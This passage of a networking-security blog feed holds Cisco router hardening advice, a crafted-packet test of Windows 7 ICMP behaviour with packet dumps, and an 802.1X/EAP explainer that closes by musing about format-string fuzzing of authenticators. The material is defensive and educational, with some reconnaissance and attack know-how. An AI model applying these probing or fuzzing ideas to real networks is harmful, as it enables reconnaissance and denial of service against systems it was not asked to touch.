IPv4 address space.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;The end host is allowed to logically appear on almost any network due to the router “proxying” address resolution of all things for that host.&amp;nbsp;&amp;nbsp; It can be used for denial of service attacks amongst other things.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;2. Unicast Reverse Path Forwarding (uRPF) Sanity Check&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;The uRPF check ensures that the source IP address is reachable from the router interface that received the IP datagram.&amp;nbsp;&amp;nbsp;&amp;nbsp; Cisco devices implement two forms of uRPF check; the strict form which looks at the specific interface the datagram is received on, versus the looser check which will match on any connected interface.&amp;nbsp;&amp;nbsp; The uRPF check is another critical measure which forms a “belt and suspenders” style backup to the IP Source Guard feature in order to defeat source IP address forgery/spoofing.&lt;br /&gt;&lt;br /&gt;Two Cisco IOS statements can be used to enforce uRPF sanity checking as follows:&lt;br /&gt;&lt;br /&gt;&amp;nbsp; ip verify source reachable-via rx&lt;br /&gt;&amp;nbsp; ip verify source reachable-via any&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;3. Disable forwarding of IP Options&amp;nbsp; (no ip options)&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;There are virtually no IPv4 datagrams on the network that require any IP options.&amp;nbsp;&amp;nbsp; The most dangerous IP options from a security perspective are:&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;u&gt;Strict Source Route&lt;/u&gt;: dictate which router hops a datagram must traverse, and record them.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;u&gt;Loose Source Route&lt;/u&gt;: specify optional router hops a datagram can traverse and record them.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;u&gt;Record Route&lt;/u&gt;: simply record the router hops a datagram must traverse.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;If record route IP options are permitted to be forwarded, they can be used for both reconnaissance and traffic interception purposes.&amp;nbsp;&amp;nbsp; In multicast rich environments, operators need to take note that the “Router Urgent” IP option is used within Internet Group Management Protocol (IGMP) transactions.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;4. Disable generation of ICMP type 3, destination unreachable messages (no ip unreachables)&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;A router that generates ICMP type 3 (unreachable) messages becomes a source of network reconnaissance information.&amp;nbsp; For example:&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;(a) Type 3, code 0 – “Network Unreachable” can be used to map the internal sub-netting of a network.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;(b) Type 3, code 1 – “Host Unreachable” can be used to discover individual hosts within a sub-network.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;(c) Type 3, code 13 – “Administratively prohibited” is generated in the context of router Access Control List (ACL) deny statements, and thus can be used to fully map an access control list.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;5. Disable directed broadcast (no ip directed-broadcast)&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;A directed broadcast is generated when a datagram is address to a network address or to a network broadcast address.&amp;nbsp;&amp;nbsp;&amp;nbsp; If we take the class C network of 192.168.99.0/24, and send a datagram to either the 192.168.99.0 or 192.168.99.255 address from outside of that sub-network, then the router interface will typically broadcast the datagram within the network segment/broadcast domain.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;This represents security risk in terms of potential network amplification attacks.&amp;nbsp;&amp;nbsp; A common attack from past history was to generate an ICMP ECHO datagram with a spoofed source IP address to a network broadcast address, and subsequently have ALL hosts within that sub-network respond with ICMP ECHO REPLY datagrams.&amp;nbsp;&amp;nbsp; This attack was commonly referred to as a “Smurf” attack.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;There are some protocols which depend on directed broadcast to function properly.&amp;nbsp; Wake ON Lan (WOL) is one particular protocol which depends on being able to send UDP datagrams that contain MAC address payloads to a network broadcast address.&amp;nbsp;&amp;nbsp; If your environment requires WOL functionality, you can either filter directed broadcast by source address (for limited risk mitigation), or ensure that the WOL traffic is only generated within the network broadcast domain that will receive it.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;In general, having the “no ip directed-broadcast” statement on all router interfaces is a best practice and has in fact become the Cisco IOS default.&amp;nbsp;&amp;nbsp; As stated above, you also have the option of “ip directed-broadcast ACLNAME” to exert more control.&amp;nbsp; Note that you can make an ACL be very specific, down to layer 4 protocol and destination ports if you like however you are still risking DoS by allowing any directed broadcast.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;6. Protect your router control-plane from DoS&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;In the commonly deployed Catalyst-6500 line of router/switches, there are various rate limiters available to assist in protecting the control plane of the router. &amp;nbsp; There are also some useful limits built into the dynamic world of multicast routing.&lt;b&gt; &amp;nbsp; &lt;/b&gt;Here are a few items that can be researched further and deployed to any one site's taste:&lt;br /&gt;&lt;br /&gt;ip pim register rate-limit&lt;br /&gt;ip multicast route-limit&lt;br /&gt;&lt;br /&gt;mls rate-limit&lt;br /&gt;&amp;nbsp;- can apply to unicast, multicast, bridged traffic, or all traffic&lt;br /&gt;&amp;nbsp;- can be applied in sub-systems such as ACL's, IP forwarding, and CEF&lt;br /&gt;&lt;br /&gt;Note that in the hardware based router models such as the Cat-6500, some of these rate limiters also impact ICMP transmission behavior, and interact with the switch virtual interface or routed interface configurations (such as: ip unreachables, and ip redirects).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;u&gt;&lt;b&gt;Internet Access Layer / Border Router Filtering Policy&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;1. Anti-spoofing and Layer 4 Protocol Filtering&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Anti-spoofing is a simple concept that needs to be a standard security practice.&amp;nbsp;&amp;nbsp;&amp;nbsp; No datagram with a source address of your site’s IP address allocation should originate from outside of your network.&amp;nbsp;&amp;nbsp; Additionally, you should never send a datagram with your internal allocated network outside of your network.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Anti-spoofing controls can additionally be combined with Layer 4 protocol filtering to ensure that only the desired layer 4 protocols flow into/out of any network.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Lets imagine that your public address allocation is 240.55.0.0/16.&amp;nbsp; Yes, I know this is considered to be IANA Class E reserved right now, but lets use it for our example.&amp;nbsp;&amp;nbsp; Lets also imagine that you want to perform anti-spoof filtering, and pass IPSEC related protocols, GRE, as well as ICMP, TCP, and UDP across your border routers.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;In this example, Cisco IOS based ACL’s can be created as follows, and naturally on your border interface you would have “no ip unreachables” to prevent ACL mapping:&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ip access-list extended Border-Inbound&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 10 permit gre any 240.55.0.0 0.0.255.255&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 20 permit ahp any 240.55.0.0 0.0.255.255&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 30 permit esp any 240.55.0.0 0.0.255.255&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 40 permit icmp any 240.55.0.0 0.0.255.255&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 50 permit tcp any 240.55.0.0 0.0.255.255&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 60 permit udp any 240.55.0.0 0.0.255.255&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 99 deny ip any any log-input&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ip access-list extended Border-Outbound&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 10 permit gre 240.55.0.0 0.0.255.255 any&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 20 permit ahp 240.55.0.0 0.0.255.255 any&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 30 permit esp 240.55.0.0 0.0.255.255 any&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 40 permit icmp 240.55.0.0 0.0.255.255 any&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 50 permit tcp 240.55.0.0 0.0.255.255 any&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 60 permit udp 240.55.0.0 0.0.255.255 any&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 99 deny ip any any log-input&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;In all likelihood, your site may well have more strict ICMP policies than allowing all ICMP to pass through the border router interface(s).&amp;nbsp;&amp;nbsp; A policy which allows ICMP type 11 (time exceeded), for “traceroute” purposes, might be appropriate.&amp;nbsp; Or even a policy that completely denies ICMP at the network border in some cases.&amp;nbsp; It is common knowledge in the security community that ICMP has been used to tunnel other protocols, or as a control channel mechanism.&amp;nbsp; ICMP Echo Request/Reply are often targeted for tunneling or command/control channel activities.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;2. Bogon address filtering&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Although IPv4 address resources are dwindling, there are still IP address blocks which are unallocated or reserved by the Internet Assigned Numbers Authority (IANA).&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;a href="http://www.iana.org/assignments/ipv4-address-space/"&gt;http://www.iana.org/assignments/ipv4-address-space/&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Network security engineers should always filter/drop any datagram that arrives at their network edge with a reserved or unallocated source address.&amp;nbsp;&amp;nbsp;&amp;nbsp; Within the interior of a network, any datagram that is destined for a reserved or unallocated address could either be null routed, or perhaps directed to a security device for analysis and/or detention.&amp;nbsp;&amp;nbsp; This is where we enter the realm of Tom Liston’s LaBrea Tarpit or perhaps a honeynet.org project.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Note that IP address allocations continue to happen and thus any security enforcement implementation that deals with unallocated address filtering / forwarding, needs to be updated on a regular basis.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Team Cymru continues to main a bogon address space reference with various filtering techniques:&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;a href="http://www.team-cymru.org/Services/Bogons/"&gt;http://www.team-cymru.org/Services/Bogons/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. Strategic Null Routing &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Create a static route for your shortest network prefix.&amp;nbsp;&amp;nbsp; If we take the same 240.55.0.0/16 network example above, then create a static route to null0 for this prefix within your routing infrastructure as follows:&lt;br /&gt;&lt;br /&gt;ip route 240.55.0.0 255.255.0.0 null0&lt;br /&gt;&lt;br /&gt;All of your connected sub-networks will have longer prefixes that the /16 null route example above, and thus traffic for all advertised routes within your network will get to destinations just fine.&amp;nbsp; Any sub-network that you do not have allocated (dark space) will get dropped into the sink.&amp;nbsp;&amp;nbsp; You might also need a route like this to advertise to your upstream BGP provider anyway.&lt;br /&gt;&lt;br /&gt;You might want to null route some other address prefixes you don't want running around your public facing network, such as RFC-1918 space for example.&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. Basic BGP Security Tips&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;I don't claim to be an expert in BGP however some basic security principles can be applied as follows:&lt;br /&gt;&lt;br /&gt;(a) Include an ACL on your border interfaces to allow TCP port 179 traffic exclusively from your upstream BGP peering neighbor.&lt;br /&gt;(b) Use an MD5 hash/password with your BGP peers.&lt;br /&gt;(c) Use ip-prefix lists either directly or within route-maps to ensure that you are only advertising the prefixes you intend.&amp;nbsp;&amp;nbsp; If you have created a static null route for your entire network allocation, you might want to only advertise this prefix to your upstream.&lt;br /&gt;(d) Use ip-prefix lists to only accept the routes you desire from your upstream.&amp;nbsp;&amp;nbsp; You can filter unallocated IP space (bogons) using this prefix list.&amp;nbsp;&amp;nbsp; You might have reasons to accept only a subset of routes from a specific provider.&lt;br /&gt;(e) Set a maximum Autonomous System (AS) Path limit to limit risks of accepting an unusually long AS Path.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-6282843532817311357?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/6282843532817311357/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=6282843532817311357' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/6282843532817311357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/6282843532817311357'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2010/05/network-infrastructure-defense-really.html' title='Network Infrastructure Defense Really Matters!'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-7879861565132436972</id><published>2009-10-06T13:49:00.000-07:00</published><updated>2009-10-06T14:30:14.248-07:00</updated><title type='text'>Windows 7 - ICMP message type 12, code 0</title><content type='html'>Send a tcp packet to any port with the IP "more fragments" bit set to a Windows 7 host.    The packet can be sent with no application payload, and arbitrary tcp flags.&lt;br /&gt;&lt;br /&gt;Windows 7 will send back an ICMP message type 12, code 0 reply indicating a "parameter problem".&lt;br /&gt;&lt;br /&gt;Now repeat the experiment, only increase the payload to 92 bytes.  Anything greater than 91 will not result in the ICMP return packet.&lt;br /&gt;&lt;br /&gt;Hmmm....&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;17:24:10.268903 IP (tos 0x0, ttl  64, id 2468, offset 0, flags [+], proto: TCP (6), length: 40) 192.168.100.1.445 &gt; 192.168.100.129.445: S, cksum 0x3984 (correct), 950565187:950565187(0) win 512&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;       &lt;br /&gt;0x0000:  4500 0028 09a4 2000 4006 0759 c0a8 6401  E..(....@..Y..d.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;        0x0010:  c0a8 6481 01bd 01bd 38a8 7943 2ede 4647  ..d.....8.yC..FG&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;        0x0020:  5002 0200 3984 0000                      P...9...&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;17:24:10.269784 IP (tos 0x0, ttl 128, id 20600, offset 0, flags [none], proto: ICMP (1), length: 68) 192.168.100.129 &gt; 192.168.100.1: ICMP parameter problem - octet 0, length 48&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;        IP (tos 0x0, ttl  64, id 2468, offset 0, flags [+], proto: TCP (6), length: 40) 192.168.100.1.445 &gt; 192.168.100.129.445: S, cksum 0x3984 (correct), 950565187:950565187(0) win 512&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;        0x0000:  4500 0044 5078 0000 8001 a06d c0a8 6481  E..DPx.....m..d.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;        0x0010:  c0a8 6401 0c00 3dec 0000 0002 4500 0028  ..d...=.....E..(&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;        0x0020:  09a4 2000 4006 0759 c0a8 6401 c0a8 6481  ....@..Y..d...d.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;        0x0030:  01bd 01bd 38a8 7943 2ede 4647 5002 0200  ....8.yC..FGP...&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;        0x0040:  3984 0000                                9...&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-7879861565132436972?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/7879861565132436972/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=7879861565132436972' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/7879861565132436972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/7879861565132436972'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2009/10/windows-7-icmp-message-type-12-code-0.html' title='Windows 7 - ICMP message type 12, code 0'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-8063288539326436384</id><published>2009-06-11T05:53:00.000-07:00</published><updated>2010-06-04T14:07:45.949-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='802.1x eap peap ttls'/><title type='text'>802.1X and EAP</title><content type='html'>EAP = Extensible Authentication Protocol which is a universal layer 2 based authentication protocol use on point-to-point, wired, and wireless networks.    EAP is used by 802.1X for port based, network access authentication.   There are many EAP types however the most commonly used are EAP-PEAP, and EAP-TTLS.&lt;br /&gt;&lt;br /&gt;1) EAP-TLS is well supported and use by wireless vendors although a challenge to implement as it requires both a client-side and server-side certificate.   General comment is that EAP-TLS is the best security option but also the most difficult to implement.&lt;br /&gt;&lt;br /&gt;2) EAP-TTLS was co-developed by Funk and Certicom.  It differs from EAP-TLS in that the server only needs to be authenticated to the client by certificate  (signed by public or private CA).  802.1X supplicants need to properly verify the certificate otherwise potential for man in the middle interception exists (when used with wireless).   Microsoft does not natively support EAP-TTLS.&lt;br /&gt;&lt;br /&gt;3) EAP-PEAP is a joint effort of Cisco, Microsoft, and RSA and is widely in use.   Similar to EAP-TTLS, MS-CHAPv2 login credentials are protected by TLS during the authentication process.   Bottom line is that if you are dealing with the Microsoft 802.1X supplicant (which most of us probably would be), then PEAP is your friend.&lt;br /&gt;&lt;br /&gt;There seems to be very little in the way of documentation on the net with regard to how 802.1X port authentication and EAP-PEAP actually function.   It is an interesting protocol dance when you have Protected Extensible Authentication Protocol (PEAP) involving layer 2 traffic from the 802.1X supplicant, protected by TLS within the EAP over LAN (EAPOL) transactions, and also with the TLS data carried within the Radius attribute value pairs.&lt;br /&gt;&lt;br /&gt;The server side certificate presented via Radius back to the client may be a public CA signed, or internal/privately signed certificate.   In either case, it is critical that the 802.1X supplicant (client station) has a properly imported root certificate.&lt;br /&gt;&lt;br /&gt;With regard to the EAPOL (EAP over LAN) transactions, a lot of documentation I have read fails to recognize that an EAP-Request/Identity frame is always initiated from the switch first with link up.    I only mention this point as it came to light in recent EAPOL debugging/diagnostic work I was involved in.&lt;br /&gt;&lt;br /&gt;And BTW, if you are ever looking at 802.1X/PEAP/Radius authentication traffic, a useful 'tcpdump' filter is as follows:&lt;br /&gt;&lt;br /&gt;'ether proto 0x888e OR udp port 1812'&lt;br /&gt;&lt;br /&gt;This assumes that Radius traffic is being carried on UDP port 1812 and that you are able to mirror/span the data from your AP/switch (authenticator) as well as your client/supplicant.&lt;br /&gt;&lt;br /&gt;The EAP transactions occur at OSI layer 2 between the supplicant and the authenticator while the synchronized Radius  transactions occur at OSI layer 3 between the AP/switch authenticator and the Radius server.    The TLS certificate and data is carried both within the EAP traffic, and within the Radius attribute-value pairs between client/supplicant and Radius server.&lt;br /&gt;&lt;br /&gt;Thus, your network management network better be functioning reliably!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_f6NpTwSysf0/SjEBaA6q_4I/AAAAAAAAAA4/Mkj14t8x1g8/s1600-h/eap-dot1x.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5346055779099803522" src="http://2.bp.blogspot.com/_f6NpTwSysf0/SjEBaA6q_4I/AAAAAAAAAA4/Mkj14t8x1g8/s400/eap-dot1x.jpg" style="cursor: pointer; display: block; height: 184px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So having written all that, I wonder if we can use the EAP-Response/Identify frame to send an extremely large string or perhaps even 'printf' based format string to exploit weaknesses in the authenticator or Radius code.  At minimum, a potential denial of service could exist if not worse condition.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-8063288539326436384?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/8063288539326436384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=8063288539326436384' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/8063288539326436384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/8063288539326436384'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2009/06/8021x-peap-dance.html' title='802.1X and EAP'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 